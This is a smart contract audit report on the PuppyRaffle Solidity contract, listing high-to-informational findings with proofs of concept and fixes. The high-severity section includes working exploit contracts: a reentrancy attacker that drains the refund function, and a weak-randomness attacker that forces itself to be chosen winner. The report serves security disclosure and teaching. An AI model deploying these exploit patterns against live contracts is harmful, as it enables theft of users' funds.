Paolina / Petkova

Protocol Puppy Raffle Audit Report

Version 1.0

Cyfrin.io

January 14, 2024

Protocol Audit Report

Paolina Petkova

Jan 14, 2024

Prepared by: Paolina Petkova

- Lead Auditors: Paolina Petkova

Table of Contents

- Medium
  * [M-1] Looping through players array to check for duplictes in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS), incrementing gas costs for future entrants
  * [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
  * [M-3] Smart contract wallets without `receive` or `fallback` function will block the start of a new contest
- Low
  * [L-1] `PuppyRaffle::getActivePlayerIndex` function returns `0` for non-existing players and for players at index 0, causing the players at index 0 think they incorrectly have not entered the raffle
  * [L-2] Mishandling ETH, could cause difficulty to withdraw fees if there are players
- Gas
  * [G-1] Unchanged state variables should be declared constant or immutable
  * [G-2] Storage variables in a loop should be cached
  * [G-3] Checking for empty players array will save some gas for emit an event
- Informational/None-Crits
  * [I-1]: Solidity pragma should be specific, not wide
  * [I-2] Using an outdated version of Solidity is not recommended
  * [I-3] Missing checks for `address(0)` when assigning values to address state variables
  * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice
  * [I-5] It is better to use `address(this).balance` instead of calculating it
  * [I-6] Magic numbers usage is not a good practise (code readibility)
  * [I-7] State changes are missing events
  * [I-8] `PuppyRaffle::_isActivePlayer` is never used and should be removed
  * [I-9] Code readibility
  * [I-10] Event is missing `indexed` fields

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- Call the enterRaffle function with the following parameters:
  - address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

- Duplicate addresses are not allowed
- Users are allowed to get a refund of their ticket & value if they call the refund function
- Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Paolina makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by her is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
|_ PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

The audit went great, I spent a couple of days on reading, finding and documenting all the findings. I learned a lot of new things while auditing this protocol.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	2
Gas	3
Info	10
Total	21

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description:

In `PuppyRaffle::refund` function there is a reentrancy issue. The CEI (Check Effect Interaction) pattern is not followed which is opening a malicios door for stealing all the funds.

In the `PuppyRaffle::refund` function, we make an external call to the `msg.sender` address and only after making this call we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        // @audit CHECK
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
        // @audit INTERACTION
@>      payable(msg.sender).sendValue(entranceFee);
        // @audit EFFECT (state change) (needs to be between CHECK and
            INTERACTION)
@>      players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contact balance is drained.

Impact:

All fees paid by raffle entrants could be stolen by the malicious participant. The attacker can call `PuppyRaffle:refund` function again and again in their `receive` and `fallback` functions which can lead to stealing all the money before the state of the funds is updated.

Proof of Concept:

We can prove that as we create an `ReentrancyAttacker` contract which will call `PuppyRaffle:refund` function in its `receive` and `fallback` functions. We can create a test where the `ReentrancyAttacker` will enter the raffle and right after that will refund which will lead to `ReentrancyAttacker` stealing all the money of `PuppyRaffle`.

1. User enters the raffle.
2. Attacker sets up a contract with `fallback`/`receive` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

PoC

Paste the following into `PuppyRaffleTest.t.sol`:

```
    function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerBalance = address(attackerContract).
            balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attacker contract balance: ",
            startingAttackerBalance);
        console.log("Starting puppyRaffle contract balance: ",
            startingContractBalance);

        console.log("Ending attacker contract balance: ", address(
            attackerContract).balance);
        console.log("Ending puppyRaffle contract balance: ", address(
            puppyRaffle).balance);
    }
```

And the following contract as well:

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor (PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
```

```
           ;
        puppyRaffle.refund(attackerIndex);
    }

    function stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    receive() external payable {
        stealMoney();
    }

    fallback() external payable {
        stealMoney();
    }
}
```

Recommended Mitigation:

There are a few recommendations:

1. Follow correctly the CEI (Check Effect Interaction) pattern:

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        // @audit CHECK
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       // @audit EFFECT (state change)
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        // @audit INTERACTION
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-        mit RaffleRefunded(playerAddress);
```

2. Lock the function to disable entering the function more than once:

```
+ bool locked = false;
    function refund(uint256 playerIndex) public {
+       if (locked) revert();
+       locked = true;

        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
        payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);

+       locked = false;
    }
```

3. Using OpenZeppelin NonReentrant modifier -> https://docs.openzeppelin.com/contracts/2.x/api/utils#Reentranc nonReentrant–

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows to influence or predict the winner and influence or predict the winning puppy

Description:

In `PuppyRaffle::selectWinner` the `winnerIndex` and `rarety` are easily predictable because for the randomness generation is used a hash of on-chain data (`msg.sender`, `block.timestamp`, `block.difficulty`):

```
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
    block.timestamp, block.difficulty))) % players.length;

uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.
    difficulty))) % 100;
```

The attacker can calculate the winner index by itself and manipulate the select winner process as well as select NFT process, thats why predictable number is not good random number.

Note: This additionally means users could front-run this function and call cann `refund` if they see they are not the winner.

Impact:

A malicious actor could game the `PuppyRaffle` and receive all the funds and selecting the rarest NFT. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

The Attacker will find a `winnerIndex` which will be the same as its future position in the `players` array. Then will enter the array with a couple of extra players and call `PuppyRaffle::selectWinner` which is gonna select the Attacker index.

PoC The block bellow should be added to `PuppyRaffleTest.t.sol`:

```
contract PuppyRaffleTest is Test {
.....
    function testWeakRandomness() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        WeakRandomnessAttack attackerContract = new
            WeakRandomnessAttack(address(puppyRaffle));
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        vm.prank(attackUser);
        attackerContract.attackRandomness();
    }
}

contract WeakRandomnessAttack {
    PuppyRaffle raffle;

    constructor(address puppy) {
        raffle = PuppyRaffle(puppy);
    }

    function attackRandomness() public {
        uint256 playersLength = 4; // players[0], players[1], players
            [2], players[3], the 4th one will be the attacker

        uint256 winnerIndex;
        uint256 toAdd = playersLength;
        while (true) {
            winnerIndex =
                uint256(
                    keccak256(
                        abi.encodePacked(
                            address(this),
                            block.timestamp,
                            block.difficulty
                        )
                    )
                ) %
                toAdd;

            console.log("Winner index: ", winnerIndex);
            console.log("To add: ", toAdd);

            if (winnerIndex == playersLength) break;
            ++toAdd;
        }
        uint256 toLoop = toAdd - playersLength;

        address[] memory playersToAdd = new address[](toLoop);
        playersToAdd[0] = address(this);

        for (uint256 i = 1; i < toLoop; ++i) {
            playersToAdd[i] = address(i + 100);
        }

        uint256 valueToSend = 1e18 * toLoop;
        raffle.enterRaffle{value: valueToSend}(playersToAdd);
        raffle.selectWinner();
    }

    receive() external payable {}

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4) {
        return this.onERC721Received.selector;
    }
}
```

Recommended Mitigation:

I would recommend Chainlink VRF to be used for generating random number to select winner -> https://docs.chain.link/vrf

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description:

In Solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// Type: uint64
// - Hex: 0xffffffffffffffff
// - Hex (full word): 0x000000000000000000000000000000000000000000000000ffffffffffffffff
// - Decimal: 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact:

In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permenantly stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players.
2. Then we have 89 players enter a new raffle and conclude the raffle.
3. and `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// but we get
totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
uint256 feesToWithdraw = totalFees;
```

Althought you could use the `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

PoC

```
    function testSelectWinnerOverflowIssue() public {
        address[] memory players = new address[](4);
        for (uint256 i = 0; i < players.length; i++) {
            players[i] = address(i+1);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
           players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        console.log(puppyRaffle.totalFees());

        puppyRaffle.selectWinner();

        console.log(puppyRaffle.totalFees());

        address[] memory players2 = new address[](89);
        for (uint256 i = 0; i < players2.length; i++) {
            players2[i] = address(i+1);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
            players2);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        console.log(puppyRaffle.totalFees());

        puppyRaffle.selectWinner();

        console.log(puppyRaffle.totalFees());
    }
```

Recommended Mitigation:

There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version `0.7.6` of solidity, however you would still have hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check of `PuppyRaffle::withdrawFees`:

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplictes in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS), incrementing gas costs for future entrants

Description:

`PuppyRaffle::enterRaffle` loops through `players` array to check for duplicates. However the longer the `PuppyRaffle::players` array is, the more checks the new player will have to make. This means gas costs for users who enter right when the raffle starts will be dramatically lower than those who entered later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
        // @audit DoS - too higher gas cost can discourage people from
            entering the raffle
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                    require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
                }
            }
```

Impact:

The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rash at the start of the raffle to be the first entrants in the queue.

An attacker might make `PuppyRaffle:players` array so big, that no once else enters, guaranteeing themselves to win.

Proof of Concept:

If we have 2 sets of 100 players, the gas costs will be as such: - 1st 100 players ~ 6252050 gas - 2nd 100 players ~ 18068133 gas

This is 3x times more expensive for the second 100 players.

PoC Place the following test into `PuppyRaffle.t.sol`.

```
    function testDoS() public {
        vm.txGasPrice(1);
        uint256 numberOfPlayers = 100;
        address[] memory players = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            players[i] = address(i);
        }
        uint256 gasStart1 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasCost1 = (gasStart1 - gasleft()) * tx.gasprice;

        address[] memory playersTwo = new address[](numberOfPlayers);
        for (uint256 i = 0; i < numberOfPlayers; i++) {
            playersTwo[i] = address(i + numberOfPlayers);
        }
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
            }(playersTwo);
        uint256 gasCost2 = (gasStart2 - gasleft()) * tx.gasprice;

        console.log(gasCost1);
        console.log(gasCost2);

        assert(gasCost1 < gasCost2);
    }
```

Recommended Mitigation:

There are a few recomendations. 1. Considor allowing duplicates. Users can make new wallet addresses anytime, so a duplicate does not prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This will allow a contant time lookup of whether a user has already entered.

```diff
+    mapping(address => uint256) public addressRaffleId;
+    uint256 public raffleId = 0;
     ...
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressRaffleId[newPlayers[i]] = raffleId;
         }

-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-            }
-        }
+        for (uint256 i = 0; i < newPlayers.length ; i++) {
+            require(addressRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
+        }
         emit RaffleEnter(newPlayers);
     ...
     function selectWinner() external {
+        raffleId = raffleId + 1;
         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
     }
```

Alternatively you could you ‘`OpenZeppelin's EnumerableSet Library`

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description:

In `PuppyRaffle::selectWinner` there is a type caset of `uint256` to `uint64`. This is unsafe cast and if the `uint256` is larger than `type(uint64).max` the value will be truncated.

Impact:

In `PuppyRaffle::selectWinner` because of the unsafe cast there is a possibility the received fees to be truncated while casting them from `uint256` to `uint64`. The actual problem will happen when the `uint256` number is higher that the maximum value of `uint64`. This can cause leaving fees permenantly stuck in the contract.

Proof of Concept:

If we try casting higher `uint256` number than `18446744073709551615` this will cause the value to be truncated because:

```
// max uint256
Type: uint256
- Hex: 0
    xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
- Hex (full word): 0
    xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
- Decimal:
    115792089237316195423570985008687907853269984665640564039457584007913129639935

//max uint64
Type: uint64
- Hex: 0xffffffffffffffff
- Hex (full word): 0
    x000000000000000000000000000000000000000000000000ffffffffffffffff
- Decimal: 18446744073709551615
```

Recommended Mitigation:

There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for version `0.7.6` of solidity, however you would still have hard time with the `uint64` type if too many fees are collected.

[M-3] Smart contract wallets without `receive` or `fallback` function will block the start of a new contest

Description:

The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet which rejects the payments, the lottery will not be able to restart.

Users could easily call the `PuppyRaffle::selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get really challenging.

Impact:

The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also true winners would not get paid out and someone else could get their money.

Proof of Concept:

1. 10 smart contract wallets enter the lottery and none of them have a `receive` or `fallback` functions.
2. The lottery ends.
3. The `PuppyRaffle::selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation:

There are a few options to mitigate this issue:

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of address -> payout amounts so winners can pull their funds out themselves with a new `claimFunds` function, putting the owness on the winner to claim their prize (recommended).

> Pull over Push pattern

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` function returns 0 for non-existing players and for players at index 0, causing the players at index 0 think they incorrectly have not entered the raffle

Description:

If a player is in the `PuppyRaffle::players` at index 0, this will return 0, but accordingly to natspec it will also return 0 if th player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                // @audit 0 is absolutely legit return value
@>              return i;
            }
        }
@>      return 0;
    }
```

Impact:

A player at index 0 may incorectly think he has not enter the raffle and attempt to enter the raffle again wasting gas.

Proof of Concept:

We can enter the raffle with one player and try to get its index which will be 0, this will cause the player to think he has not entered the raffle.

PoC

To prove that you can add the following test to `PuppyRaffleTest.t.sol` file:

```
    function testGettingActivePlayerIndex0() public playerEntered {
        uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(
            playerOne);

        console.log(indexOfPlayer);

        assertEq(indexOfPlayer, 0);
    }
```

Recommended Mitigation:

Recommendations:

1. The function to revert if the player is not in the array instead of returning 0.
2. Return a non positive value for non active player, for example -1.

[L-2] Mishandling ETH, could cause difficulty to withdraw fees if there are players

Description:

In `PuppyRaffle::withdrawFees` function before transfering fees to the `feeAddress` there is a requirement which can make withdrawing fees very difficult if there are active players. This is definitelly mishandling ETH because in very specific cases the withdrawing fees will be successful.

The requirement which is causing this issue is checking if the address balance (total collected amount by the protocol) is equals to `totalFees` (20% of the total amount):

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Impact:

The `feeAddress` will hardly be able to withdraw the fees.

Proof of Concept:

1. 10 users enter the raffle
2. total amount in the protocol is -> 10 * entranceFee
3. try to withdraw fees -> (10 * entranceFee) == ((10 * entranceFee * 20) / 100)
4. will not be able to withdraw the fees

Recommended Mitigation:

Instead of checking for equality try to check if:

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
+   require(address(this).balance >= uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from sorage is much more expensive than reading from constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Every time you call `players.length` you read from storage, as opposed to memory which is more gas efficiant.

```
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
-      for (uint256 j = i + 1; j < players.length; j++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
+       for (uint256 j = i + 1; j < playersLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
                player");
        }
    }
```

[G-3] Checking for empty players array will save some gas for emit an event

In `PuppyRaffle::enterRaffle` function may be added a requirement the array of new players to not be empty, in this case we can skip emiting event with empty users list which is gonna save some gas.

```
function enterRaffle(address[] memory newPlayers) public payable {
        require(newPlayers.length > 0, "PuppyRaffle: players array
           should have at least one player.");
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                   Duplicate player");
            }
        }
        emit RaffleEnter(newPlayers);
    }
```

Informational/None-Crits

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of Solidity is not recommended

Description

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation

Deploy with any of the following Solidity versions:

`0.8.18`

The recommendations take into account:

- Risks related to recent releases

- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 63

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 158

```
            previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 178

```
            feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not the best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
         _safeMint(winner, tokenId);
+        (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
    winner");
```

[I-5] It is better to use `address(this).balance` instead of calculating it

```
-    uint256 totalAmountCollected = players.length * entranceFee;
+    uint256 totalAmountCollected = paddress(this).balance;
```

[I-6] Magic numbers usage is not a good practise (code readibility)

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

```
+        uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+        uint256 public constant FEE_PERCENTAGE = 20;
+        uint256 public constant POOL_PRECISION = 100;
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
+        uint256 prizePool = (totalAmountCollected *
    PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
+        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
    POOL_PRECISION;
```

[I-7] State changes are missing events

When changing state we should always report that by events. Event nee to be added to `PuppyRaffle::selectWinner`.

[I-8] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Internal function which are not used in the protocol should be removed because it is a waste of gas.

[I-9] Code readibility

For better code readibility variable names may refer to the way variables are stored - immutable or storage:

```
-    uint256 public immutable entranceFee;
-    address[] public players;
+    uint256 public immutable i_entranceFee;
+    address[] public s_players;
```

[I-10] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 54

```
    event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 55

```
    event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 56

```
    event FeeAddressChanged(address newFeeAddress);
```